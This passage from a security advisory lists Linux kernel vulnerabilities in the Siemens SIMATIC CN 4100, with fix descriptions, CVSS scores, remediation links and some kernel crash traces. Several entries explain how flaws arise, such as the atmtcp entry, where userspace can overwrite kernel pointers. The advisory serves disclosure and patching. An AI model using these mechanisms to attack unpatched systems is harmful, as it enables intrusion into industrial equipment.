Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds 